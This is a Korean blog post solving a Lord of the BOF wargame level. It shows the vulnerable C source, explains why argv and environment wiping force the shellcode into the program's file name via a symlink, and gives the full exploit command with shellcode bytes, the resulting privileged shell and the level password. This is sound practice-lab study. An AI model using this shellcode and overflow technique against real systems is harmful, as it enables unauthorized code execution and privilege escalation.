-
[LOB] vampirehacking 2021. 9. 3. 21:00
/* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); }
이전까지 사용해왔던 argv들을 모두 지우는 코드가 생겼다
쉘 코드를 올릴 다른 공간을 찾아야 한다..
우리가 input값으로 넣을 수 있는 것은
실행파일명 : argv[0]
인자값(buffer) : argv[1]
인자값 ~ 인데 이것이 모두 없어졌다 (환경변수나 그런 곳들도..)
gdb를 통해서 메모리에 남은 값이 있나 찾아보았다
0xbfffffe1: "" 0xbfffffe2: "" 0xbfffffe3: "" 0xbfffffe4: "" 0xbfffffe5: "/home/vampire/skeletoa" 0xbffffffc: "" 0xbffffffd: "" 0xbffffffe: "" 0xbfffffff: "" 0xc0000000: <Address 0xc0000000 out of bounds> 0xc0000000: <Address 0xc0000000 out of bounds>
메모리 stack 거의 끝에 실행파일명이 남아있다
이전 문제에서 사용해본 symbolic link를 활용하여 실행파일명에 shellcode를 올리고
이 값이 있는 위치에 ret를 돌리면 될 것 같다
파일명이 바뀌면 값의 위치가 변하니 이를 고려해여 다시 디버깅을 하고 exploit을 하였다
[vampire@localhost vampire]$ ./`python -c 'print "\x90" * 99 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `python -c 'print "A" * 44 + "\x70\xff\xff\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApÿÿ¿ bash$ id uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire) bash$ my-pass euid = 510 shellcoder
skeleton / shellcoder
이전에 사용하던 기본 25byte shellcode가 먹히지 않았다
그래서 다른 shellcode를 사용하게 되었다.
shellcode 제작법에 대해 공부해보고 포스팅을 해야겠다
'hacking' 카테고리의 다른 글
[DH] baby-linux (0) 2024.07.26 [LOB] skeleton (0) 2021.09.04 [FTZ] level 2 (0) 2021.09.01 [LOB] troll (0) 2021.08.31 [LOB] orge (0) 2021.08.30